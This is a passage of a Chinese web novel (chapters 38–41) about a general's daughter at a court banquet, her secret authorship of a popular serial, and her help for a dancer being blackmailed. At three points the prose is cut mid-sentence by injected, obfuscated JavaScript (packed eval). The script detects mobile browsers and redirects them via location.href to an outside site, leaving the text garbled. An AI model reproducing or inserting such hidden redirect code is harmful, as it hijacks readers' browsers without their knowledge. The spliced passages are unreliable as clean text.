花了一个时辰,她终于整装完毕,兄长今日亦在家中,两人同去一地,便换了辆大车共乘。 同庆园在孟章西郊,位于千芳园的南部,马车行驶了约一个时辰,终于到了那片锦天秀地。 黎书意和黎长策从车上下来,两人递上帖子,由正门而入,谢烜赫、兰亭和绿沉则被滞留在外。 进入园中,兄妹俩分道而行,黎长策往右侧献衷殿走,黎书意往左侧抱香殿走。 穿过影壁,黎书意进入一个阔大的院落,院中分列万菊,品种繁多,色彩斑斓,灿然眩眼。 在堆叠的花盆间,站着许多命妇贵女,她们个个打扮精致,比园子里的花朵还要娇艳欲滴。 远远地,黎书意就扫见了穿一身蓝衣的林静仪,此时她与姜伯母,还有另几个贵妇人站在一起。 黎书意径直朝她们走去,到了跟前她依次问候了每一位长辈,接着便走到林静仪旁边停下,这种场合自然是与好姐妹在一起比较自在。 只是,刚同林静仪说了没两句话,唐婉娇便来了,如今她已是长公主未来的儿媳妇了,派头比从前大了不少。 在各处转了一圈,接受了众女眷的恭维后,她朝黎书意这边走来了,诧异道:“没想到你竟然会来。” “为什么不来?”黎书意觉得这话说得奇怪。 唐婉娇皱眉,盯着她问:“你不知道皇后娘娘办这场宴会的目的吗?” 什么目的?黎书意一头雾水,难不成这宴会还与她有关系。 “皇后娘娘到!” 正打算追问,太监尖亮的高唱打断了她要说的话,她随众人一起,一致往声源看过去。 当看到皇后旁边的陌生女子时,她骤然明白过来唐婉娇的话,虽然从未见过庞悦瑛,但是黎书意一眼便猜出这个头绾百合髻,穿海棠色衣裙的女子就是她。 皇后娘娘领着庞悦瑛走来,唐婉娇第一个偏头观察她的反应,众女眷也朝她扫了过来,她们的目光有同情,有奚落,有好奇。 也难怪她们这样,毕竟一年前她曾是站在皇后身边的那个人。 因为和谢煜然两情相悦又门当户对,皇后最开始自然把她当作太子妃的首选,所以在她及笄后便时常找她入宫。 只是,数度接触下来,两方都不太愉快,皇后嫌她长相妖艳,不够温顺,她则听不惯皇后的各种规劝。 她忽然回想起去岁皇后的千秋宴,彼时她母亲新丧不久,她因自己未能跟在身旁而自责难过,不由迁怒到谢煜然身上。 那一日吵嘴后,她独自一人散心,意外听见了帝后的谈话,只听见皇后怒斥道:“现在便恃宠而骄,日后若成了亲,那岂不是要翻天了。” 接着又听见皇帝道:“你儿子并非沉溺酒色之辈,只是这女娃胸藏文墨,并非见识浅薄的花瓶,关键她身后还有黎横天、黎长策和黎家军,若她登上了后位,再诞下一子,我西景恐要易主。” “这可如何是好?”皇后闻言语带急色,“谁让儿子偏偏倾心于她,我给他相看其他女子,他看都不看。” “你也别急。”皇帝安抚着,一阵短促的静默后,她听见他语气晦暗不明道,“若走好了,他黎横天和黎家军将永远为我所用。” 那一次,她深刻的意识到自己正在被提防,她的家族在被算计。 本来就被宫里繁琐的礼教宫规和谢煜然未来身边会有很多女人的想法压得喘不过气来,在听到这些话之后,她明白她与谢煜然已然走入了死局,是以,对这份感情她再不抱希望了。 后来,没俩月传出了太子选妃的传闻。 那时,她才懂了皇帝那番话的意思,担心黎家日后会成为强大的外戚,却又舍不得黎家军这块肥肉,所以企图以感情来要挟,妄图逼她做侧室。 真是可笑,若她黎家当真的存了不臣之心,这样的算计根本不起多大作用。 从意识到她和谢煜然的问题开始,到现在过去都快一年了,她早就放下了。 她这么想,可别人却不这么想,打量她的目光未有减少,不时有人瞟过来,想观察她的反应,这其中当然也包括皇后。 眼见皇后朝自己走来,黎书意不得不再次行礼,她福身问候道:“见过皇后娘娘。” “嗯。”皇后微微颔首,“哀家有些时日没见到你了。” 接着,皇后侧头,牵过庞悦瑛的手,将人带到她面前,介绍说:“这位是庞将军的嫡女,庞悦瑛。” 谈笑声早在皇后向她走来之时便彻底消失了,诺大的院子百来人此刻却寂然无声。 皇后特意过来,目的不为别的,就是为了羞辱刺痛她,可是要让她失望了,她心底当真无一丝一毫的波澜。 尽管如此,她不能表现得不屑一顾,为了称皇后的意,她得表现出被抛弃的失落和屈辱,为此她刻意垂下眼眸,作足狼狈不堪之状。 如此滞了一息,她方才侧过脸问候起来:“见过庞姑娘。” 只见眼前的女孩面凝鹅脂,眉目清雅,俏丽安静,黎书意必须承认,庞悦瑛确实比她更符合皇后的要求。 在她打量庞悦瑛时,庞悦瑛同样也在打量她,那双如泉清眸望过来,声音轻柔道:“见过黎二姑娘。” 似乎是看到了想要看的反应,皇后点了一下头,然后领着庞悦瑛往别处去了,将她介绍给其他命妇。 待皇后走远了,林静仪看向黎书意,满怀关切道:“婠婠,你没事吧?” “我无事。”黎书意含笑摇头,她目前的心思完全不在感情上。 插曲结束,黎书意与林静仪相携赏花,院中菊花花色迷人,千姿百态,香气甜腻醉人。 在院子里逛了一圈,大家分两波移步入厅休息,皇后、妃嫔与命妇一间,其余的贵女一间。 花厅里摆着两张长桌,桌上摆着各色水果和精巧点心,大家各自选了位子坐下。 有过无数次参宴经验,黎书意很清楚,通常她们就是在桌上谈谈琴棋书画诗酒花茶这些雅事。 大家皆出身世家望族,虽不能入仕为官,但都具备一定才学,因着平时无法出门,也就能在这些场合上展示了,所以少不了在才艺上明争暗斗一番。 一直以来,她都把这些大宴看成是女子的文会宴,大家坐在一起品酒赏景,弹琴下棋,赋诗作画,期间也曾诞生不少优良的作品,是以她并不排斥。 只是,今天庞悦瑛在场,她们这对大家眼中理所当然的敌人自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545697|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然成了焦点,恐怕少不了要被对比。 果不其然,在侍女上前奉茶时,吏部尚书之女挑起话头,看着这位初入孟章的新人问道:“不知庞姑娘平素在家都干些什么?” “看书。”庞悦瑛答说。 有人追问:“你都看什么书?” “就经史之类的,还有一些诗集。” “诗?”唐婉娇像是抓住了重点,说着朝黎书意看来,“若论诗,我们这些人中没人比得过她了。” 黎书意眉头轻蹙,不明白这人是怎么回事,似乎比她自己还要在意庞悦瑛。 正想着,见庞悦瑛已然抬眸望过来,她目光澄澈,声音脆若风铃:“我读过几首,黎二姑娘写得很好。” 欣赏的眼光令黎书意微微诧异,因着帝后的一通操作,她们该互相讨厌的,可奇怪的是她并不讨厌这位庞姑娘,庞姑娘似乎亦是如此。 不希望树敌,她只求这些人能别在拱火,挑起不必要的争斗了。 心底刚发出这样的希冀,就听见厅中有人提议道:“不如大家以室中之物各做一首诗,何如?” “无趣,回回谈诗词歌赋,就不能聊点其他的吗,比如话本?”平王之女崇宁郡主有些不耐地吐槽道。 说毕,花厅一时安静下来。 黎书意乐见其成,虽知道郡主是真的厌倦作诗才会如此说,但总归是帮她解围了。 谏议大夫之女接话道:“提到这个,我最近在看一本叫做《陈冤录》的话本,讲的是一个复仇的故事,虽然篇幅还很短,但情节非常精彩,关键是书里还配有图画,光看图画也能让人看懂。” “本郡主也正在看这本书,情节的确精彩。”崇宁郡主来了兴致,接着抱怨起来,“不过等待实在熬人,前日刚看完最新章回,虽然按照辛君赫的预料,押送囚犯的途中果然发生了刺杀,可是那些死士全都自杀了,什么都不曾吐露,也不知道幕后主使是谁,可真是急死我了,这写书人故意吊胃口。” 黎书意怎么也没想到居然会在宴会上听人提起自己写的书,听了郡主的话她在心里回道:非也非也,她并不是吊胃口,只是她也不知道幕后主使是谁。 “我更关心归平酒楼的经营状况如何?”一道珠落玉盘的声音插入其中。 说话的是林静仪,黎书意闻言惊喜地看向她,没想到她竟然也在看。 “是啊,”工部尚书家的千金附和,“也不知道姚写意和她母亲、嫂子一起研究出来的那几道新菜色可受城中食客的欢迎?” 厅中气氛逐渐活泼起来,大家你一言我一语议论起《陈冤录》来。 聊得正酣,闻庞悦瑛道:“我觉得墨含一定是个非常懂女子的文士,才能把闺阁女子写得如此真实生动。” 众人听后齐齐看着她。 见大家好奇地注视着她,她眼睫微微颤动,然后解释道:“他细腻地描绘出女子所面对的各种困境,书中几名女子非常鲜活,她们性格不一,有自己的想法,会争取自己想要的,有些时候我感觉她们所思所想所做,正是我所想要的……” “这么说确实是的,之前看的那些话本,总觉得里面许多女子与日常生活中接触的相差甚大,不是毒如蛇蝎,就是一味付出。”太常寺卿之女若有所思道。 唐婉娇含笑猜测说:“或许墨含身边生活着很多女人。” 听着她们谈话本,谈《陈冤录》,议论墨含,黎书意的唇角控制不住地上扬,她边装作若无其事地喝茶,边在心里说:有没有可能因为她本就是闺阁女子呢。 自从聊闲书之后,厅里的气氛火热,聊了差不多半个时辰,随着旁边的茶会散场以后,她们这边也跟着散了。 39. 狭路 宴会结束,走出厅门,大家先互相寒暄了一番,然后便各自散去了,黎书意自然是跟姜伯母、林静仪一道。 到了同庆园大门口,姜伯母和林静仪先行上马车离开,黎书意则留下等候父兄。 兰亭走过来为她披上披风,一面说:“二姑娘似乎心情不错。” 她点头,听见别人议论她写的书,她当然开心,看来《陈冤录》在贵女圈子里流传广泛,也不知道在平民百姓那里反应如何? “婠婠。”正准备上车,忽被人叫住。 听见谢煜然用温柔的声音唤她的小名,她的好心情瞬间就没了。 她很想就此离开,可父兄还未来,门内又不时有人走出来,置之不理似乎也不行,她只好转头问:“太子殿下找臣女有何事?” 冷淡的口气让谢煜然一怔,随即他恢复镇定,柔声询问道:“我听闻你在社郡差点被绑架了,回来的路上还遇到了刺客?” “谢殿下关心,臣女的侍卫来得很及时,臣女并未受伤。” “没事就好。”谢煜然松了口气,他还想再找点其他的话说,一时间却找不出来,他感觉他们的距离越来越远,再不像从前那般了。 空气里一片安静,两人正沉默地站着,一行人走了过来,黎书意抬眼看过去,发现来的竟然是庞悦瑛。 谢煜然也瞧见了,他的表情顿时变得很不自然。 庞悦瑛随即也顿住脚步,站在自家马车旁不知所措。 那一瞬间,他们三个人就这么站着,宛如被施了定身咒。 “二姑娘,外边冷,不如进车里等?” 微妙的气氛中,一道低沉的声音打破了诡异的沉默。 黎书意闻声回过神来,抬眸望一眼坐在车辕上说话的谢烜赫,接着她移目看向庞悦瑛,一个点头致意后便登上了马车,并不管谢煜然。 眼见少女利落地转身,只留给自己一个背影,谢煜然定在原处,他感觉胸口闷痛,一股无力感深深笼罩着他。 默然盯着已经合上的车帘看了一会,又扫一眼庞悦瑛,他最终转身离开了。 车辕上,谢烜赫轻抿着唇,神色冷淡,目光晦暗不明地追随着谢煜然远去的身影,直到看着他的身影消失在视野里,才终于收回视线。 车厢内,黎书意撩衣在软垫上坐下,随后便整理起身上有些凌乱的披风和衣裙。 兰亭自小几上拿起一直温着的茶壶,倒好一杯热茶,她眼中满是好奇地问道:“二姑娘,方才那女子究竟是谁啊?” 黎书意答:“庞悦瑛。” “啊?”兰亭惊呼一声。 正说着,车帘被拉开了,谢烜赫探头进来说:“他走了。” 她听了漫不经心地“嗯”了一声,心说谢煜然快点成婚吧,好结束这种尴尬的局面。 候了一会,父兄一道出来了。父亲是从大营直接骑马过来的,把云奔马交给沥泉照看,他与兄长最终都上了马车。 一入车厢坐下,黎横天关切地看向女儿,轻声询问:“听说皇后今天带着庞安澈之女来了?可有为难你?” “我无事,父亲。”黎书意宽慰道。 黎横天眉头微皱,仍旧不放心,温声道:“以后这样的宴会,你要是不愿参加,那便拒了,别勉强自己。” “不用。”黎书意摇了摇头,“不能落人话柄。” 说话间,马车声辘辘响起来,忆及这场宴会的目的,她问对面的人:“对了,兄长可考虑好了日后的出路?” “我?”黎长策答得干脆,“自然是随军。” 黎横天接口道:“刚刚在席上,陛下说兵部有空缺,让他去,我拒绝了。” 闻听这话,黎书意点头赞同道:“这样挺好,兄长还年轻,不急这一时半会。” 不管皇帝是否真心实意的,对目前的将军府来说,还是不要太过张扬得好。 之后,三人又聊起些旁的话,说着说着马车停下了,他们先后下车。 此时,天色已经彻底黑了,一家三口在门房的问候声中步入府门,行到内院,黎长策和黎书意兄妹俩向黎横天道别,然后三人便分三路走。 月凉如水,微风轻拂,树影婆娑,黎书意缓缓往载驰院而去,四下宁静安详。 走到小院门口,听见身后传来谢烜赫轻淡的声音:“二姑娘早些休息,卑职先走了。” 她闻声转头,见人已然缓步远去,在月光和庭院灯盏的照耀下,她竟然从那高挑的背影里品出几分失落来,为什么呢? “等等。”她出声叫住谢烜赫,然后转身对兰亭道,“兰亭,你先走吧,我有事要交代他。” 兰亭看了看她家二姑娘,再看一看时侍卫,最后心不甘情不愿地点头了。 黎书意向谢烜赫走去,与他面对面而站,想着把今日的成果分享给他,他应该会高兴吧。 “还有何事?” 询问的口气不咸不淡,黎书意也不在意,笑开道:“告诉你一个好消息,今天宴会上闲谈时,她们竟然说起了《陈冤录》。” “这也就是说,有很多人看?” “是。”她点头,心中充满了喜悦和满足。 正笑着,闻谢烜赫问:“今晚在门口碰见的那位便是庞姑娘?” “嗯。”她应声,有些好奇他何突然问这个。 下一刻,听见谢烜赫嗫嚅着开口道:“你和谢煜然,你们……” 估计是宴散时撞见了那一幕尴尬场景,所以才想着问一问她的想法,因着这两个人,她今天有够烦的了,轻叹一声,她懒懒回道:“我希望他们早日成婚。” 话落,见谢烜赫发出一声轻笑。 看他心情好了些,黎书意没再找话,周旋了一下午,此刻她有些累了,便道:“我回去了。” “嗯,那你早些休息。” …… 第二日,黎书意去了文心书局。 因着昨日在花厅闲聊时,意外听见大家谈论自己的新书,她有些关心《陈冤录》的售卖情况,所以便想着过来看一看。 好一段时日未来,书局有了些小变化,门外木招牌上推荐的书目早就变了,她的《陈冤录》赫然在列。 店里的人依旧很多,书客们站在书架前挑来捡去,佣书人坐在犄角旮旯里奋笔疾书。 扫过了全场,黎书意的视线放到了距离自己较近的柜台前,那里站着两个人,他们与周围的喧嚣格格不入。 只见柜台外侧,阮玎瑶正拿着荷包准备付账,她钱还尚未掏出,对面的苏先生开口截断道:“不必付了,这些书就当我送你的。” 阮玎瑶闻言动作一顿,她抬眸看了一眼对面的人,旋即摇摇头,一面固执地掏钱,一面说:“不,要付的。” 好意被拂,苏先生面带失落,最后只能接下了买书钱。 付了钱,阮玎瑶从木柜上拿起书,然后转身离开,走到门口碰见黎书意,她礼貌地点了一下头,接着下台阶走了。 黎书意同时跨步入店,苏先生此时已经扫见她了,大概知道她撞见了方才的那一幕,脸色略微有些不自然。 黎书意识趣地当作无事发生,同他点头打过招呼,便自行在店里逛起来,寻找《陈冤录》被归置在何处,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545698|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在公案话本那一架书架前找到了。 只见书架最前边放着新上架的话本,第一二三列摆的正是《陈冤录》,与旁边一指节厚的书籍不同,它每一册都很薄。 为了不显得突兀,黎书意抄起最前边的那一册,然后如同一个寻常客人一样打开了,映入眼帘的字迹工整,她一页接一页翻着,如此翻了十来页,文字变成了图画,图画中又配有简单的文字。 正看着,走过来两位年轻书生。 “诶,这书倒是有趣。”右边那位书生抄起册子,边翻看边道,“里面居然还有图画版。” “你不知道吗,最近太学中好多学子都在看。”左边那人诧异地说。 “内容如何?” “挺好看的,我喜欢里面一个叫辛君赫的少年,他原是明王之子,因遭人诬告被灭满门,这世子由于心中带恨不得托生,竟重生在一个落魄的富商之子身上,为了替家人报仇,他弃商从军,从一个小卒做起,一步步向上攀升。” “听起来的确有趣。”右边那位若有所思地点头,顿了顿他又道,“不过,你说写这书的人这么做是何意?” “怎么个说法?” “这图画可不似文字,如今尚不便印刷,这样一册一册地画,不知需要花费多少人工,根本赚不到钱吧。” “也是。”男子听后赞同地点头,随即事不关己地耸肩道,“可能他的目的就不在赚钱上吧。” 说着,两人各自挑了书册离开。 黎书意放下书,她的确不为赚钱,只希望在时机成熟的那一日,那些看过书的人能从中悟出些什么来,然后给予他们语言上的支持,好让陛下顺从民意,为昭王翻案。 书刚搁下,苏先生走了过来,他面色沉静,显然已经从刚才的失落和尴尬中恢复过来了。 “黎二姑娘似乎很喜欢墨含的书?” 黎书意不置可否地笑了,她自己写的,自然视若珍宝。 “这本书比她上本书还要受欢迎。” “是吗?”闻言,她故意表露出好奇,今日她本就是来了解售书情况的,而在这一点上,没有人比书局的老板更清楚。 “嗯。”苏先生颔首,旋即解释说,“《学崖》讲述的是祝如瑜代已故孪生兄长祝如琛上学,凭借自己的努力最后入朝为官的故事,比较受年轻女子的青睐,而《陈冤录》讲述的是被抄家流放的姚家如何重振家族,和被屠满门的辛君赫如何建功复仇的故事,这不仅年轻男女喜欢,就连中老年们也都很喜欢。” “竟然如此吗?”黎书意眼睛微微张大,这个结果多少有些出乎她的意料,她以前作为参考,预期的受众主要是年轻男女,倒是没想到连中老年人也会看。 这样再好不过了。 得如此好消息,她心中雀跃不已,瞥了一眼面前的大才子,到底忍不住多问了一句:“那苏先生觉得这书如何呢?” “以抄家和灭门开头,十分的扣人心弦,第一个案件虽然还未彻底解决,但过程也相当精彩。” “还有呢?”黎书意渴望听更多。 “嗯……”他沉吟了一会,然后说道,“虽然与前作一样,也写了内宅女子的困境,但这本书的侧重点明显是复仇,在一定程度上表达了对所处环境的不满。” 虽是品评话本,但后面的几句话就这般说出口未免也太过大胆,尤其他曾经因为借诗词讥讽朝政,以致遭遇牢狱之灾和贬谪之苦,或许他的心并没有死。 “那看来我得好好看了。”说着,黎书意拿起了方才搁下的书册,没办法,为了遮掩自己就是作者,她只能当她的书迷了。 40. 勒索 付了书钱,黎书意离开书局。 走下台阶站在门口,她晃着手中的书册,回想起苏先生的话,忍不住笑了。 “二姑娘似乎很崇拜苏或雍。” “嗯?”冷不防听见这句话,黎书意意外地看向谢烜赫,他怎么知道自己在想苏或雍的。 还未来得及开口,一旁的兰亭替她回答了。 “当然了,苏先生自幼聪颖,博览群书,精通琴棋书画,少时曾师从大儒卢宴门下,十八岁受举荐任屯田员外郎,因为擅长作诗迅速在孟章名声大噪,每有新作,便会立刻传遍全城。”兰亭一股脑说道。 话毕,她观察时野的反应,适才在书局时她便发现二姑娘与苏先生交谈时身边这人不高兴了。 她就不懂了,一个侍卫怎么敢肖想大将军嫡女的,自己明里暗里劝了几回仍然不奏效。 她不敢私底下说,但在二姑娘面前可就不同了,如今好容易逮着机会,她得让这家伙明白他与二姑娘的差距,清清楚楚地告诉他,二姑娘喜欢才华横溢的,光是识几个大字,会画两笔的根本不值得稀罕。 哪知这黄毛小子竟意味深长地来了一句:“我看这苏先生似乎对那位阮姑娘有意。” 闻言,兰亭气恼极了,她非常清楚二姑娘对苏先生只是敬才爱才罢了,这厮居然挑拨离间。 奈何二姑娘什么都不知道,还颇激动地说:“你也看出来了?” 连谢烜赫都看出来了吗?想到这点,黎书意忍不住在心底叹息,苏先生不仅仕途坎坷,情路也很坎坷啊…… 从前的未婚妻因他贬谪而果断退亲,如今碰上的这一个,身上似乎有着不小的麻烦。 “走吧。”叹息一声,她往对街走去,准备去怡口香买些点心。 到了店铺前,她让谢烜赫进去买,自己则与兰亭站在外面等候。 “放开我。” 百无聊赖间,一声哀婉的乞求吸引了她的注意力,一旁的兰亭指着边上的巷子叫道:“二姑娘,是阮玎瑶。” 黎书意抬头朝兰亭所指方向看去,就见几尺开外的地方阮玎瑶和梁祖昂正在巷道里拉扯,这情形她已经是第二次见了。 “给我钱!” “我没有。” “你怎么可能没有,你现在在鹤阳阁不是风头正盛吗?” “求你别再来找我了。” “你给我钱我自然不找你了。” “上回你就是这么说的。” “快点拿钱来!”你来我往间,梁祖昂失去了耐心,言语威胁道,“如果你不给我钱,我便去鹤阳阁里闹,我会让他们都知道你从前是梁府的仆人,因为引诱我才被赶了出来。” “不是这样的,明明是你骚扰我。”阮玎瑶辩解道,她的情绪变得激动起来,最后便出手推了梁祖昂,原本拿着的书册也掉落在地。 竟然是这样吗?黎书意心底一惊,难怪阮玎瑶被威胁了也不敢反抗,这对一个尚未婚嫁的女子来说简直是致命的侮辱。 “竟然敢打我?”推搡激起了梁祖昂的不满,他一把拽起阮玎瑶的手,有要动手的趋势。 见状,黎书意不再观望,她急忙抢步上前道:“放开她!” 梁祖昂待要动手,闻声不耐地转头,待看清了来人,他愣了一下,旋即露出轻浮的笑容,“原来是黎二姑娘啊。” “梁祖昂,你贵为丞相之子,当街调戏女子不太好吧?”黎书意说着特意往街道扫去,好意提醒他,“这若是传出去了,对你父亲可不好。” 她知他最怕他父亲。 果然,梁祖昂闻之色变,面上现出犹豫与担忧。 僵持了一会,他终是放下了手,恶狠狠地盯着阮玎瑶道:“哼,这次就放过你。” 说毕,又看了黎书意一眼,最后不甘地离开了。 看着他走了,黎书意将阮玎瑶扶起,兰亭蹲下身拾起掉落在地上的书册,然后递还给阮玎瑶。 “谢谢。”阮玎瑶低声道,然后准备离开。 “阮姑娘,我可以请你喝杯茶吗?”黎书意出声叫住了她。 阮玎瑶面色为难,大约是无法对一个刚刚施救的人说不,挣扎了片刻,最终点头答应了。 这时,谢烜赫也买点心回来了,于是一行人往附近的茶楼去了。 到了茶楼,他们在雅间里坐下来。 黎书意注视着面前的女子,她眉目如画,一双杏眼顾盼间流露出忧郁与胆怯,柔弱之态惹人怜惜。 苏先生倾慕于她,自己又撞见她被欺负两次,黎书意有些想帮面前的这个女子。 “时野,你出去门外守着。”介于谈话可能涉及对方隐私,黎书意需将唯一的男子给遣走。 对此,谢烜赫没有异议,他无声地出了雅间,然后将门带上了。 待房间里只剩下三位女子了,黎书意挑起话头道:“阮姑娘,方才路过时,我无意间听见了几句你与梁祖昂的谈话。” 言未尽,见阮玎瑶的面色陡然变得苍白,她没有停下,而是继续说道:“其实,这不是我第一次撞见他威胁你了,上回在鹤阳阁我也碰见了。” 随着她的话,阮玎瑶的头越来越低,握着杯子的双手也越来越紧。 “有什么我可以帮你的吗?” “不用了。” 这回答令黎书意叹气,她语重心长道:“恐怕他已经向你要了无数次钱,难道你就一直忍受着?” 见阮玎瑶不答,她指出道:“你越是妥协他便越是得寸进尺,这样永远没有尽头的。” “可是我没有办法。”阮玎瑶终于抬头,脸上已经湿漉漉一片。 “或许你信任我的话,可以把实情告诉我。” 要告诉她吗?阮玎瑶看着面前貌似天仙的少女,她家世高贵,才名远播,与自己是云泥之别,要把自己的丑陋摊开来给她看吗? 看着那双清澈的眼睛和担忧的面孔,阮玎瑶知道她是真心实意想帮助自己的,况且她刚刚都已经听见了,还有什么可羞耻的呢? “我从前的确是梁府的仆从。”半晌,阮玎瑶鼓起勇气说道,说完她忍不住观察对方的表情,见没有鄙夷,心里稍微放松了一些。 停顿片刻,她接着往下叙述:“我父亲原是一名县衙典史,他死后家里失去了支柱,为了讨生活,母亲便带我进了梁府做事。” “我负责照看梁祖昂母亲刘姨娘的花园,一日他向母亲问安时看见了我,便问我名字,年芳几何,我如实答了,而后他每一回过来,都会寻我说话,因他是主人,我不敢忤逆。” “次数多了,院子里其他的仆人便常在背后说我的闲话,刘姨娘知道了儿子的心思,劝我答应,说做她儿子的通房可比当花侍要享福多了,未来可以抬我做姨娘,我没答应。” “后来梁祖昂又当面找我说起,我拒绝了,他就威胁说若我不答应,就让我和我母亲在孟章待不下去,他是丞相之子,要做到这事太容易了,我没法抵抗,最终便答应了。” 阮玎瑶诉说的时候有些难以启齿,话讲得断断续续的。 黎书意不觉有他,有姿色的侍女被主人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545699|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的少爷看上是常有的事,因侍女与少爷有着天然的地位差,自己的身契又捏在对方手里,即便是想拒绝,很多时候也没资格,况且她性子柔弱。 “没过几个月,我们的事被老爷知道了,他多给了我与母亲三个月的月钱,然后便把我们赶出府了。后来,我们在鹤阳阁找了份差事做,母亲负责日常洒扫,我则被派到赵姐姐跟前伺候。” 阮玎瑶口中的赵姐姐,指的是赵清商,她是礼部郎中赵崇古的女儿,个性豁达,极好舞乐,为了能自由弹奏跳舞,不惜与家人决裂,其谱写的曲子和编排的舞蹈在西景享有盛名。 想到阮玎瑶身份的转变,黎书意问:“你是因为赵清商才会登台跳舞的吗?” 阮玎瑶点头,她的眼睛倏然变亮,脸上带了几分喜悦,语气也轻快起来:“因为伺候赵姐姐的关系,我时常能看见她排舞,看得多了,也便记住了,有一回就忍不住跳了,正巧被回来的赵姐姐看见了,我当时很慌张,姐姐却是笑了,还夸奖我说跳得不错。没几天,她忽然问我,有想过跳舞吗?说看我似乎很喜欢,还说工钱比端茶倒水赚得多,我答应了,后来便一直跟着学她舞。” “那梁祖昂又是怎么找上你的?” 黎书意刚一问完,见阮玎瑶情绪回落,接着她答道:“有一天,我跳完舞下台时忽然被人拦了去路,抬头一看发现竟然是他,当时我已经有半年没见过他了,他看到我很激动,说没想到我居然混得这样好。” “从那之后他便开始向你要钱?” 阮玎瑶点头,“我知道他月钱有限,想着周围人多口杂便给了他,之后他常会来鹤阳阁找我要钱,慢慢的次数越来越频繁,我根本承受不了,可是又不敢不给,我担心万一他说出去了,我在鹤阳阁会待不下去,我母亲也会承受不了的。” 这段经历在大众眼里的确不算光彩,她有所顾忌也正常。然而,基于对梁祖昂这个人渣的了解,黎书意不觉得花钱可以买心安,最后更可能是阮玎瑶不停地给钱,直到某天她无力再支撑,梁祖昂因要不到钱便怒而暴露她的过往。 为避免她财名两失,黎书意好意提醒道:“可你想过没,你的妥协只会让他变本加厉,对于一个赌徒而言,钱是永远要不够的,难道你要一辈子这样?” 阮玎瑶沉默不语。 “到如今你只有两个选择,要么继续忍受,要么不惧流言。” “那怎么行呢?”阮玎瑶一口拒绝了。 “为什么不行?”黎书意反问,在这个时代,女子的名声大半与婚嫁有关,苏先生已知她的身世经历,并且无半分介意,不需要有所顾虑。 看她退却,想起赵清商的经历,黎书意继续说道:“你与赵清商那么熟悉,你应该知道她的经历吧。” 赵姐姐,阮玎瑶初去鹤阳阁时便听了她的事迹,一个五品官的女儿为了能够自由的跳舞,不惜与父亲决裂。 “她能挺过来,你一定也能挺过来的。” 黎书意说着站起来,最后看一眼呆呆坐着的女子,然后带着兰亭出门了。 门外,谢烜赫正立在一侧,见人出来便迈步跟上,一边走一边道:“她会听吗?” 他并没偷听房内的谈话,虽两次都只瞧见了个尾巴,但是他也能猜出七八分来,那女子看着柔软可怜,不似会反抗的个性。 黎书意闻言在楼梯拐角停下,她抬头望着紧闭的房门,心下也不确定,只道:“看她自己吧。” 说毕,她收回了目光继续向下走,她把自己能做的做了就行,接下来全凭阮玎瑶抉择。 41. 胡言 从茶楼出来,黎书意顺街而走,路过了形形色色的铺子,她最终进了西陵轩。 一楼鞋子、腰带、香囊琳琅满目,伙计看见她忙笑着迎了过来,然后引着她上楼。 二楼更是令人眼花缭乱,黎书意游目四扫着墙上挂着的当月新衣,瑰丽的色彩,新颖的款式,别致的印花,祖绣萱也不算骗她,这衣裳当真融合了大漠的特色。 扫了一圈,她最终看中了两身,一身蓝黄,一身橘绿。 正在挑选的当口,祖绣宣急匆匆从里间走了出来,然后径直朝她而来,一边走一边道:“来得正好,帮我看看下月发售的冬装。” “好。”她爽快应下,让兰亭自己去逛逛,旋即随祖绣宣进里间去了。 房屋空间很大,左边摆着十几台黄花梨木雕花衣架,每个衣架上都挂着一套衣服,右边是紫檀广榻,上放一张小几,几上是一堆散乱的图纸。 这不是第一回给祖绣宣做参谋,所以黎书意自如地走到案前拿起纸张,认真地审视图稿。 图稿一共十二张,每一张都非常精美,饱含无尽的巧思与创意,刺绣以山茶、水仙、月季和四季海棠为主,它们在纸上各展风姿,或含苞待放,或绚烂盛开,颜色以红、棕、黄色为主,或温暖热烈,或明亮活泼。 依次过目后,她把第三张和第十一张抽出来,然后指着其中一张道:“这张图稿就整体来看,下裙色彩斑斓,刺绣更是华丽非凡,然而相较之下,上裳就显得过于单调了,我觉得可以将衣边的颜色进行调整,比如选取下裙中较为亮眼的一种颜色,作为衣边的装饰色。” “这套衣服我正觉得差点东西,就是没想到加什么,你的建议正好。”祖绣宣欣喜地拍手,接着看向另一张道,“那这张呢?” “这件衣裙的刺绣看起来过于繁复了,可以适当将花朵缩小一些,采用独特的针法和光泽度高的绣线,让花朵在视觉上更加引人注目,另外……” 谢烜赫静静注视着榻上对坐的两位女孩,左边的毫无保留说着自己的见解,右边的虚心接受,并拍手称快,她们越谈越投机。 